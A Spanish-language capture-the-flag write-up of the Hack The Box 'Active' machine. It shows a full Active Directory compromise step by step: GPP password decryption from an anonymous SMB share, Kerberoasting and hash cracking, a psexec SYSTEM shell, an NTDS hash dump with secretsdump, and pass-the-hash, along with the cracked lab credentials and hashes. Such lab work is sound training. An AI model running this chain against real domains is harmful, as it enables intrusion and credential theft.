Active
Dificultad: Easy - OS: Windows
Enumeración:
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# nmap -sCV --open -T4 -v -n 10.10.10.100
Resultados:
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-20 05:47:02Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-04-20T05:47:59
|_ start_date: 2025-04-20T05:45:02
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled and required
|_clock-skew: -8m44s
En síntesis, los puertos donde nos vamos a centrar:
Puerto | Estado | Servicio | Protocolo
88/tcp | open | kerberos-sec | TCP
139/tcp | open | netbios-ssn | TCP
389/tcp | open | ldap | TCP
3268/tcp | open | ldap | TCP
Lo primero que vamos a hacer es agregar el dominio que nmap nos arrojó a nuestro archivo /etc/hosts para evitar problemas con el virtual host.
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# echo "10.10.10.100 active.htb" >> /etc/hosts
Lo segundo que haremos es sincronizar el horario del equipo kali con el del servidor, ya que nmap también nos detecto esa falla con el siguiente mensaje clock-skew: -8m44s
:
Esto indica una diferencia de tiempo (desfase) entre el reloj del escáner (máquina kali) y el del servidor. En este caso, el reloj del servidor está adelantado 8 minutos y 44 segundos respecto al del kali. Esto puede ser relevante en ataques como Kerberoasting o Pass-the-Ticket, donde una desincronización importante puede invalidar tickets de autenticación basados en tiempo.
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# ntpdate 10.10.10.100
2025-04-25 15:30:57.466477 (-0400) -526.599843 +/- 0.129098 10.10.10.100 s1 no-leap
CLOCK: time stepped by -526.599843
Unauthenticated enumeration
Empezamos por enumerar recursos con smbmap conectándonos sin credenciales
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# smbmap -H 10.10.10.100
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[\] Checking for open ports...
[*] Detected 1 hosts serving SMB
[|] Authenticating...
[+] IP: 10.10.10.100:445 Name: 10.10.10.100 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ NO ACCESS Remote IPC
NETLOGON NO ACCESS Logon server share
Replication READ ONLY
SYSVOL NO ACCESS Logon server share
Users
En este punto nos vamos a encontrar con el directorio Replication
, y si exploramos su contenido vamos a encontrar el archivo Groups.xml
que contiene información sensible sobre una cuenta de dominio (SVC_TGS
) y su contraseña cifrada. Esta contraseña fue almacenada mediante un cifrado AES-256 que, si bien puede parecer seguro, utiliza una clave pública que fue publicada por Microsoft en su documentación. Esto permite que cualquier atacante con acceso de lectura al archivo pueda desencriptar la contraseña fácilmente con herramientas como gpp-decrypt
. Esta exposición de credenciales es el reflejo de una mala configuración de los entornos que está relacionada con la GPP.
Group Policy Preferences (GPP): las GPP son una extensión de las Directivas de Grupo clásicas utilizadas en entornos de Active Directory, que permiten a los administradores configurar ajustes específicos en equipos unidos al dominio. Entre otras funcionalidades, permiten la creación de cuentas locales y la aplicación de configuraciones sin necesidad de scripting, utilizando archivos XML almacenados en el recurso compartido SYSVOL, el cual es accesible para todos los usuarios autenticados del dominio.
En este caso el recurso Replication
resulta ser una copia del SYSVOL
Lo siguiente que hacemos es conectarnos al equipo objetivo con smbclient para buscar el archivo Groups.xml
y descargarlo
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# smbclient //10.10.10.100/Replication
Password for [WORKGROUP\root]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> cd \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> ls
. D 0 Sat Jul 21 06:37:44 2018
.. D 0 Sat Jul 21 06:37:44 2018
Groups.xml A 533 Wed Jul 18 16:46:06 2018
5217023 blocks of size 4096. 283794 blocks available
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> get Groups.xml
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)
Nota: si quieres aprender más sobre las GPP te recomiendo el siguiente artículo
Groups.xml
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06"
uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description=""
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0"
noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
gpp-decrypt: la herramienta gpp-decrypt se utiliza para descifrar contraseñas almacenadas en archivos XML generados por las Group Policy Preferences (GPP) en entornos de Active Directory.
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
Una vez que tenemos credenciales nuevas lo mejor es validarlas contra los servicios más comunes para encontrar el siguiente vector de ingreso. Para automatizar este proceso diseñe el siguiente script en bash que puedes encontrar en mi repositorio: service_validation.sh
┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# ./service_validation.sh active.htb svc_tgs 'GPPstillStandingStrong2k18'
[*] Probando credenciales contra active.htb con usuario 'svc_tgs'...
--- Probando smb ---
SMB 10.10.10.100 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [+] active.htb\svc_tgs:GPPstillStandingStrong2k18
--- Probando ldap ---
SMB 10.10.10.100 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
LDAP 10.10.10.100 389 DC [+] active.htb\svc_tgs:GPPstillStandingStrong2k18
--- Probando winrm ---
--- Probando rdp ---
--- Probando mssql ---
--- Probando wmi ---
RPC 10.10.10.100 135 DC [*] Windows 7 / Server 2008 R2 Build 7601 (name:DC) (domain:active.htb)
RPC 10.10.10.100 135 DC [+] active.htb\svc_tgs:GPPstillStandingStrong2k18
--- Probando ftp ---
--- Probando ssh ---
Vemos que las credenciales funcionan para conectarnos al smb, entonces podemos volver a enumerar recursos smbmap y ver si encontramos algo nuevo:
┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# smbmap -H active.htb -u SVC_TGS -p 'GPPstillStandingStrong2k18'
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[\] Checking for open ports...
[*] Detected 1 hosts serving SMB
[|] Authenticating...
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[\] Enumerating shares...
[-] Enumerating shares...
[+] IP: 10.10.10.100:445 Name: active.htb Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ NO ACCESS Remote IPC
NETLOGON READ ONLY Logon server share
Replication READ ONLY
SYSVOL READ ONLY Logon server share
Users READ ONLY
[\] Closing connections..
Navegando por el directorio User con smbclient nos vamos a encontrar con la user flag
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# smbclient //10.10.10.100/Users -U SVC_TGS
Password for [WORKGROUP\SVC_TGS]:
Try "help" to get a list of possible commands.
smb: \> dir
. DR 0 Sat Jul 21 10:39:20 2018
.. DR 0 Sat Jul 21 10:39:20 2018
Administrator D 0 Mon Jul 16 06:14:21 2018
All Users DHSrn 0 Tue Jul 14 01:06:44 2009
Default DHR 0 Tue Jul 14 02:38:21 2009
Default User DHSrn 0 Tue Jul 14 01:06:44 2009
desktop.ini AHS 174 Tue Jul 14 00:57:55 2009
Public DR 0 Tue Jul 14 00:57:55 2009
SVC_TGS D 0 Sat Jul 21 11:16:32 2018
5217023 blocks of size 4096. 278791 blocks available
smb: \> cd SVC_TGS
smb: \SVC_TGS\> dir
. D 0 Sat Jul 21 11:16:32 2018
.. D 0 Sat Jul 21 11:16:32 2018
Contacts D 0 Sat Jul 21 11:14:11 2018
Desktop D 0 Sat Jul 21 11:14:42 2018
Downloads D 0 Sat Jul 21 11:14:23 2018
Favorites D 0 Sat Jul 21 11:14:44 2018
Links D 0 Sat Jul 21 11:14:57 2018
My Documents D 0 Sat Jul 21 11:15:03 2018
My Music D 0 Sat Jul 21 11:15:32 2018
My Pictures D 0 Sat Jul 21 11:15:43 2018
My Videos D 0 Sat Jul 21 11:15:53 2018
Saved Games D 0 Sat Jul 21 11:16:12 2018
Searches D 0 Sat Jul 21 11:16:24 2018
5217023 blocks of size 4096. 278791 blocks available
smb: \SVC_TGS\> cd Desktop
smb: \SVC_TGS\Desktop\> dir
. D 0 Sat Jul 21 11:14:42 2018
.. D 0 Sat Jul 21 11:14:42 2018
user.txt AR 34 Sun Apr 20 01:46:16 2025
5217023 blocks of size 4096. 278791 blocks available
smb: \SVC_TGS\Desktop\> get user.txt
getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
Otra forma de conectarnos al SMB especificando usuario y contraseña en la misma línea es de la siguiente forma:
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# smbclient //10.10.10.100/Users -U SVC_TGS%GPPstillStandingStrong2k18
Kerberosting con impacket-GetUserSPNs.py
Lo siguiente que vamos a implementar es un ataque Kerberoasting ya que también tenemos acceso al servicio LDAP. Si no estás familiarizado con este tipo de ataques te recomiendo que veas la siguiente sala de THM que resolví en este blog Attacking Kerberos, allí podrás ver en detalle cómo y porqué funciona este tipo de ataques. Pero básicamente vamos a enumerar cuentas de usuario en Active Directory que tengan configurado un Service Principal Name (SPN). Un Service Principal Name (SPN) es un identificador único que vincula una cuenta de servicio con una instancia específica de un servicio dentro de un dominio. Cuando un usuario tiene un SPN asignado, podemos solicitar un Ticket de Servicio (TGS) para ese SPN. El ticket estará cifrado con el hash NTLM de la cuenta de servicio. Si esa cuenta tiene privilegios elevados y una contraseña débil, podemos crackear el TGS offline y obtener acceso. Para realizar el Kerberosting usaremos impacket-GetUserSPNs.py
┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request -outputfile spn.txt
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 15:06:40.351723 2025-04-25 14:50:03.426167
[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$0db1a1785dd64552e048c1b8fe2d548a$37755c15449103ef34c
6b77d74eb7739b4513b3723fa19bfad2663cc89bac7266a21b0ae7d24a7b86f089fbfe4e87cbcf8996083dcfe399af280ac35eb6c6112ce4045c
38105ff9a4df0edd7a0178fbecf789c5c1c39c9c17c41afecdf791906ea85d3c54256c07cce8a1cb734aee4cc16d8687821d25a8c468fb29eff9
75254d4896e9c8b7c6806bb052b7961e95124b56211766ff8ea9d42a4856e3af5bdc2aa73aaa414f5fb37eb84d1061c16bcefd4f0b60266120b2
e687ccf2bfdb10d5c19da7c5120bca9ce335fddc7d7b1d41f8bc3b1dcbeecc13cf4b5f4a874e4540704a4bacd537c257425db7ae704e04406bc7
cae1ca16e06ef13f3d1ca20dd0624de3eb32eaf0e2e69647e4e65ab7e2a95c25ea0093b4622ce95a03bbeb80f4aaecbfacee4af5a2476a0cec4e
35a6205b83a01fac0fe70b0e6ee5d77e3e2d9d3267100d8c713b5d7f2adff2cd6528c3ba81f92a4a59520a11d4ed10d7f0b02cba5fbd3818e75d
d14f73fd0c69ba763da388881d5494df9a8ac99ce32362c407f0ea6a5d47d65f55d0de0fa61dcc7bd3aabe05e4f0ac947b16a39281826ee602a8
f787308cd36d61fc11c3fe592073dd598d065eb2d54cad1cb054b594104ba350e1dc39bc7f3e65f7e4e010468efb708df2c1efbe6b0076a8971f
cb0cd642f0aa75d2762a9643a57eb014d7dbfa9ca9fbeb5bb1234e1acc476926813a5d1d5251d403466237338dae843dcc5c4985bb3ff05ba412
c29813ae16479672fc1728e9d90cb4db7341a430b069795c2c2f49f5b6edc886262b510bb1c7a501abba516d080ec4f93413453b714259183d1c
8f02dcc8ade6374fa4ac5fedc622b04579f6a06ee80677474e84b77ba114ff0bf00ef6db8aae9fcdef7725892c9b713b55b69ede7a292b928f15
a4e5db5b07982b9277b563561367b318179c31642e8076e4f8667c53c4f9060d240958aa08905cd4a26f9de0513337e330ab7dae853c09356b6a
6480ea497ff0e0e607891627381994c0abfca8d3007cd442ff51d6d3bc322394fb9af8bdb7e17c105a107011ede56f764a5c288f6d8adebd1a3a
3a54654a90905b62903ad6999505f7820ce5fa63256eb5f7a34e783823e36c01200f7f5630532fa8824b0614a77ac62969ae3924e1a69d4da8f5
dca2bcf6c4e6af9ba75bed8b84b283801c6811852529dff38ada2ac0eb436a7eaa308de0e7e0e9e01e758aa95b8b854e09f4112c042242adf2b5
4ff79bcd5d959f2cb86e8
TGS Cracking con John
Ahora para descifrar el hash del TGS con John The Ripper
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# john -w=/usr/share/wordlists/rockyou.txt spn.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
1g 0:00:00:07 DONE (2025-04-25 21:26) 0.1351g/s 1423Kp/s 1423Kc/s 1423KC/s Tiffani1432..Tiago_18
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Ahora que conseguimos otro par de credenciales nuevas podemos chequear cuales son los servicios a los que podemos acceder:
┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# ./service_validation.sh active.htb Administrator 'Ticketmaster1968'
[*] Probando credenciales contra active.htb con usuario 'Administrator'...
--- Probando smb ---
SMB 10.10.10.100 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)
--- Probando ldap ---
SMB 10.10.10.100 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
LDAP 10.10.10.100 389 DC [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)
--- Probando winrm ---
--- Probando rdp ---
--- Probando mssql ---
--- Probando wmi ---
RPC 10.10.10.100 135 DC [*] Windows 7 / Server 2008 R2 Build 7601 (name:DC) (domain:active.htb)
WMI 10.10.10.100 135 DC [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)
--- Probando ftp ---
--- Probando ssh ---
Remote Code Execution con Psexec
Para finalizar el CTF nos conectamos al equipo objetivo con impacket-psexec y buscamos las flags que nos faltan. Para comprender mejor el funcionamiento de esta herramienta te recomiendo que leas el siguiente artículo:
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# impacket-psexec administrator@active.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:Ticketmaster1968
[*] Requesting shares on active.htb.....
[*] Found writable share ADMIN$
[*] Uploading file Euymqpmr.exe
[*] Opening SVCManager on active.htb.....
[*] Creating service bYsy on active.htb.....
[*] Starting service bYsy.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> cd ../../Users/Administrator/Desktop
C:\Users\Administrator\Desktop> type root.txt
ea10e3e******************
Otra forma de conectarnos con psexec especificando usuario y contraseña en la misma línea es con el siguiente comando:
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# impacket-psexec administrator:Ticketmaster1968@active.htb
Otra forma de localizar archivos específicos como flags, desde la raíz, es usando el comando dir file_name /s
C:\> dir user.txt /s
Volume in drive C has no label.
Volume Serial Number is 15BB-D59C
Directory of C:\Users\SVC_TGS\Desktop
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
27/04/2025 07:52 �� 34 user.txt
1 File(s) 34 bytes
Total Files Listed:
1 File(s) 34 bytes
0 Dir(s) 1.163.612.160 bytes free
C:\> dir root.txt /s
Volume in drive C has no label.
Volume Serial Number is 15BB-D59C
Directory of C:\Users\Administrator\Desktop
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
27/04/2025 07:52 �� 34 root.txt
1 File(s) 34 bytes
Total Files Listed:
1 File(s) 34 bytes
0 Dir(s) 1.163.612.160 bytes free
Bonus: Pass the hash con impacket-secretsdump
¿Qué es un ataque Pass-the-Hash?
El ataque Pass-the-Hash permite autenticarse contra servicios de red (como SMB, WinRM, WMI, RDP) sin conocer la contraseña, usando directamente el hash NTLM del usuario como si fuera su credencial. Esto sí se puede hacer si tenés el hash NTLM completo (no cifrado) de la cuenta. Para implementar este ataque usaremos impacket-secretsdump
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# impacket-secretsdump active.htb/administrator:Ticketmaster1968@10.10.10.100 -just-dc-ntlm
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5ffb4aaaf9b63dc519eca04aec0e8bed:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b889e0d47d6fe22c8f0463a717f460dc:::
active.htb\SVC_TGS:1103:aad3b435b51404eeaad3b435b51404ee:f54f3a1d3c38140684ff4dad029f25b5:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:449aa2e074193f0ed41457ff6d72fbf8:::
[*] Cleaning up...
Ahora le pasamos el hash a impacket-psexec o impacket-wmiexec, no podemos usar EvilWinRM para este caso porque no está disponible el puerto de winrm
┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# impacket-wmiexec 'active.htb/Administrator@10.10.10.100' -hashes aad3b435b51404eeaad3b435b51404ee:5ffb4aaaf9b63dc519eca04aec0e8bed
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
active\administrator
┌──(root㉿kali)-[/home/…/Documents/HTB/ACTIVE/active]
└─# impacket-psexec 'active.htb/Administrator@10.10.10.100' -hashes aad3b435b51404eeaad3b435b51404ee:5ffb4aaaf9b63dc519eca04aec0e8bed
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file oLgphjxu.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service YDIE on 10.10.10.100.....
[*] Starting service YDIE.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
Localizando Groups.xml con impacket-Get-GPPPassword
Cuando un entorno es vulnerable a la exposición de contraseñas vía GPP, podemos usar impacket-Get-GPPPassword para buscar el fichero Groups.xml, pero se recomienda tener previamente credenciales de algún usuario
┌──(root㉿kali)-[/home/…/Documents/HTB/ACTIVE/active]
└─# impacket-Get-GPPPassword active.htb/SVC_TGS:GPPstillStandingStrong2k18@10.10.10.100
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Listing shares...
- ADMIN$
- C$
- IPC$
- NETLOGON
- Replication
- SYSVOL
- Users
[*] Searching *.xml files...
[*] Found a Groups XML file:
[*] file : \\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
[*] newName :
[*] userName : active.htb\SVC_TGS
[*] password : GPPstillStandingStrong2k18
[*] changed : 2018-07-18 20:46:06
Last updated